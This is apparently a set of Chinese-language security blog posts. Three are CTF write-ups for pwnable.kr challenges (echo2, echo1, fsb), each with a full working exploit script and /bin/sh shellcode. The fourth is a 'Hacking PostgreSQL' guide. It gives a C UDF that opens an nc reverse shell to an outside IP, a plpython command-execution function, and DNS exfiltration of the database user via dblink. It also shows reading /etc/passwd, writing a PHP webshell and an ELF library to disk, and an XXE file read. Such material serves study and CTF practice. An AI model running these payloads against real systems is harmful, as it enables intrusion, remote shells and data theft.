Writeup: pwnable.kr "echo2"

pwnable.kr 上的 echo2 是一个存在 UAF & FSB 漏洞的题目。
通过 IDA F5 得到源码,列出几个关键函数:

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi@1
  void *v4; // rax@1
  int v6; // [sp+Ch] [bp-24h]@1
  _QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  v3 = (int *)v7;
  __isoc99_scanf(4197406LL, v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  *((_QWORD *)v4 + 1) = v7[1];
  *((_QWORD *)v4 + 2) = v7[2];
  id = LODWORD(v7[0]);
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  v6 = 0;
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ", v3);
        v3 = &v6;
        __isoc99_scanf(4197496LL, &v6);
        getchar();
        if ( (unsigned int)v6 > 3 )
          break;
        ((void (__fastcall *)(signed __int64, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])(4197496LL, &v6);
      }
      if ( v6 == 4 )
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)", &v6);
    v6 = getchar();
  }
  while ( v6 != 121 );
  puts("bye");
  return 0;
}

echo3

__int64 echo3()
{
  char *s; // ST08_8@1

  (*(void (__fastcall **)(void *))((void (__fastcall **)(_QWORD))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*(void (__fastcall **)(void *, signed __int64))((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
  return 0LL;
}

cleanup

void cleanup()
{
  free(o);
}

分析主函数流程,可知触发 UAF 的流程为:

  • 选择 4,进入 cleanup 函数, free 变量 o
  • 选择 n,取消退出,这时候的 o 变量已经被 free
  • 选择 3,输入 0x20 个字符
  • 输入的内容被分配到原来变量 o 的地址上,覆盖了 goodbye 函数的地址,触发 UAF


现在有一个任意 call 了,但是暂时并没有什么卵用。因为并不能 call 一个 system,或者做一些奇怪的事情。
然而我充满经♂验的大锐锐说可以在 name 里写 shellcode。

看这一句:

   0x40099e <main+142>: mov    rsi,rdx
   0x4009a1 <main+145>: mov    rdi,rax
=> 0x4009a4 <main+148>: mov    eax,0x0
   0x4009a9 <main+153>: call   0x4006a0 <__isoc99_scanf@plt>

看一下 rdi:

gdb-peda$ x/10s $rdi
0x400c1e:    "%24s"

有 24 个字节的输入空间,然而好像 IDA 并没有反编译出来这个,所以被蒙蔽了/w\ .. 
24 个字节足够放下 shellcode 了,由于是 scanf,不能出现 \x0a,\x0b,所以找一个符合条件的 shellcode:https://www.exploit-db.com/exploits/36858/

#include <stdio.h>
#include <string.h>

int
main(void)
{
  char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
    "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

  printf("strlen(shellcode)=%d\n", strlen(shellcode));

  ((void (*)(void))shellcode)();

  return 0;
}

现在就差 leak 出 name 在栈上的地址了。
由于 echo2 函数有一个 FSB,所以可以通过 FSB 来 leak。

leak 出来的地址为 0x7ffffffffe6b0,在栈上寻找我们 name 的内容,地址为 0x7fffffffe6f0,正好为 0x40 个字节的偏移量。

gdb-peda$ x/10b 0x7fffffffe6b0 + 0x40
0x7fffffffe6f0:  'a' <repeats 14 times>
0x7fffffffe6ff:  ""
0x7fffffffe700:  "\360\347\377\377\377\177"
0x7fffffffe707:  ""
0x7fffffffe708:  ""
0x7fffffffe709:  ""
0x7fffffffe70a:  ""
0x7fffffffe70b:  ""
0x7fffffffe70c:  ""
0x7fffffffe70d:  ""

所以现在我们可以执行任意代码了。
重新梳理流程:

  1. 输入 name 时写 shellcode
  2. 通过 FSB leak rsp,接着加上 0x40 字节的偏移量,到 shellcode 的地址上
  3. 通过 UAF,覆盖 goodbye 的地址为 shellcode 的地址
  4. 得到 shell,大成功(๑•̀ㅂ•́)و✧

最终 exploit 为:

import sys
import socket
from zio import *

shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"

io = zio(('pwnable.kr', 9011), timeout=9999999)
#io = zio('./echo2' ,timeout=9999999)
io.read_until(':')

io.writeline(shellcode)
io.read_until('> ')

io.writeline('2')
io.read_until('\n')
io.writeline('%3$x')
data = io.read_until('\n')
name_addr = int('0x7fff%s' % data, 16) + 0x40
print '-' * 10, data
io.read_until('> ')

io.writeline('4')
io.read_until(')')
io.writeline('n')
io.read_until('> ')
io.writeline('3')
io.read_until('\n')
io.writeline('aaaaaaaa' + 'bbbbbbbb' + 'cccccccc' + l64(name_addr))
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.interact()


Writeup: pwnable.kr "echo1" & "fsb"

距离上一次发这一系列的文章,已经过去三周。期间稍微了解了一下 pwn,然后开始做 pwnable.kr

0x01

这次做的第一个题目是 [Rookiss] 栏的 echo1,是一个简单的 stack overflow,题目如下:

Pwn this echo service.
download : http://pwnable.kr/bin/echo1
Running at : nc pwnable.kr 9010

首先用 IDA F5 看一下程序:

跟入 echo1 函数:

echo1 中 get_input 函数存在一个栈溢出,简单的验证一下:

输入溢出,覆盖了返回地址。
那么利用应该也不难了,需要找一个 jmp esp 或者 call esp 的地址,即可利用成功。
在 gdb 中利用 jmpcall 来寻找:

gdb-peda$ jmpcall
0x4006ec : call rax
0x40078e : jmp rax
0x400835 : call rdx
0x400869 : call rdx
0x400a6a : call rdx
0x400b54 : call rax
0x400cb7 : call rax
0x400deb : call rdi
gdb-peda$

然而并没有_(:3」∠)_
在这里卡住了,咨询了一下锐锐老师,想利用地址泄露计算偏移地址来执行。但是由于我太渣了找不到哪里有泄露QAQ。

但是不要着急,我们来看一下 main 函数中的几个点:

  int *v3; // rsi@1
  void *v4; // rax@1
  int v6; // [sp+Ch] [bp-24h]@1
  _QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  v3 = (int *)v7;
  __isoc99_scanf(4197310LL, v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  *((_QWORD *)v4 + 1) = v7[1];
  *((_QWORD *)v4 + 2) = v7[2];
  id = LODWORD(v7[0]);

v7 是我们输入的 name,然后 id 保存着 v7(的字符串内容?)。在汇编来看的话比较直观:

mov    DWORD PTR [rip+0x201724],eax

所以我们可以在 id 里面写 jmp esp,其中 id 在 .bss 段,地址是固定的。我们直接 ret 到 id 的地址就好了。

构造 payload:

import zio
# payload/linux/x64/exec
# exec /bin/sh
shellcode = (
    "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
    "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
    "\x48\x89\xe6\x0f\x05"
)

pad = "a" * 40
# jmp = '\xa0\x20\x60\x00\x00\x00\x00\x00'
jmp = zio.l64(0x6020a0) # id,这种写法比较高端_(:3」∠)_
io = zio.zio('./echo1')
# io = zio.zio(('pwnable.kr', 9010))
io.read_until(':')
io.writeline('\xff\xe4') # jmp esp
io.read_until('>')
io.writeline('1')
io.read_until('\n')
io.writeline(pad + jmp + shellcode)
io.read_until('\n')
io.interact()

0x02

第二个题目是 [Rookiss] 栏的 fsb,一个字符串格式化漏洞的利用。

Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)

ssh fsb@pwnable.kr -p2222 (pw:guest)

登陆上去拿到源码,发现存在明显的字符串格式化漏洞:

for(i=0; i<4; i++){
    printf("Give me some format strings(%d)\n", i+1);
    read(0, buf, 100);
    printf(buf);
}

字符串格式化漏洞对我这种渣渣来说大抵有两种方式解题。

  1. 覆盖判断的条件,使之成为 true;
  2. 覆盖 GOT 表,改变程序流程。

第一种方式是可以的,在程序中:

int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
    printf("Error, tell admin\n");
    return 0;
}
close(fd);

其中 key 是一个全局变量,但是验证的时候有一堆乱七八糟的东西,而且好像覆盖的话只能覆盖四个字节(读了 8 个字节),所以放弃这条路。
另外一条路就是覆盖 GOT 表了,我们看一下程序:

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
    ....

buf 和 buf2 都是全局变量,所以在获取输入的时候不会出现在栈里,这样我们就不能任意指定地址了。
咨询了一下锐锐老师,讲了一种高级的利用技巧:
调用函数时,会将 ebp 压栈,所以栈上我们可以得到当前的 ebp 和 esp 的差值,以及之前的 ebp 和栈顶的差值,所以我们可以:

  1. 覆盖 ebp 指向的地址(上一次 ebp 的地址)的内容为我们要覆盖的地址;
  2. 获取到上一次 ebp 指向的地址的,计算偏移,然后覆盖我们要覆盖的地址。

大体流程如下:

接着我们通过计算出上一次的 ebp 地址,来覆盖目标地址指向的内容即可。
在实际操作中,可以发现,esp 和 ebp 的差值为 0x48,得到 0x48 / 4 = 18,可以通过 18$ 来访问。

其中 ebp 指向的上一个 ebp 为 0xffffd888,这个地址是动态存在栈中,我们需要 leak 一次,计算出偏移地址。同时在栈上碰巧有当前的栈地址:

可以发现,14$ 处为当前栈的地址,距离栈顶有 0x50 个字节的偏移,且固定;18$ 为栈底,其内容为上一次的 ebp 的地址。
我们可以计算出当前 esp 的地址,然后减去上一次的 ebp 地址,即为偏移地址。

>>>> (0xffffd888 - (0xfffed7f0 - 0x50)) / 4.0
16442.0

即可以用 %16442$n 来修改我们想要覆盖的地址内容了。
通过 objdump 查看 GOT 表:

反编译 fsb 函数:

我们可以把 sleep 函数的 GOT 表地址覆盖为调用 execve 函数的地方:0x80486ab,且只需要覆盖高地址即可。

流程清楚了,编写 exp:

import zio

io = zio.zio('./fsb', timeout=9999)

io.read_until('\n')
io.writeline('a')
io.read_until('\n')
io.read_until('\n')
io.writeline('%134520840c%18$n') # 覆盖上一次的 ebp 地址为 sleep 函数的 GOT 表地址:0x0804a008 
io.read_until('\n')
io.read_until('\n')
io.writeline('%14$x.%18$x') # leak 当前栈的地址以及 ebp 保存的地址
address = io.read_until('\n').strip()
esp_addr, ebp_addr = address.split('.')
esp_addr = int(esp_addr, 16) - 0x50
offset = (int(ebp_addr, 16) - esp_addr) / 4  # 计算偏移
io.read_until('\n')
io.writeline('%34475c' + '%%%d$hn' % offset) # 覆盖高地址的一个字,从 0x08048406 覆盖为 0x080486ab
address = io.read_until('\n').strip()
io.read_until('\n')
io.interact()

经过一系列的漫长打印后,得到 shell:

0x03

啊好累_(:3」∠)_
明天又要上班了..


Hacking PostgreSQL

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

SQL 注入

大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet
此外,利用 sqlmap 也是一个不错的方式。

执行命令

C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("nc -e /bin/bash 10.211.55.2 9999");
}

利用如下命令编译 .so 文件:

gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so

在 pgsql 里执行:

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

apt-get install postgresql-plpython-9.1

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

select system('ls -la');


此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。
文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

DNS 请求获取数据

同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink,可以通过如下命令开启:

CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:

SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);


远程获取到请求内容:

读写文件

PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;

读取结束后:

DROP TABLE temptable;

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

即可写一个文件。
根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

其中每一段都要小于等于 2KB,这样就可以成功写入:

XXE

老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day
大体就是执行语句:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考

  1. PostgreSQL SQL Injection Cheat Sheet
  2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
  3. PostgreSQL 9.0 Documentation
  4. PostgreSQL (all) error-based XXE 0day

最后,如有错误请不吝赐教。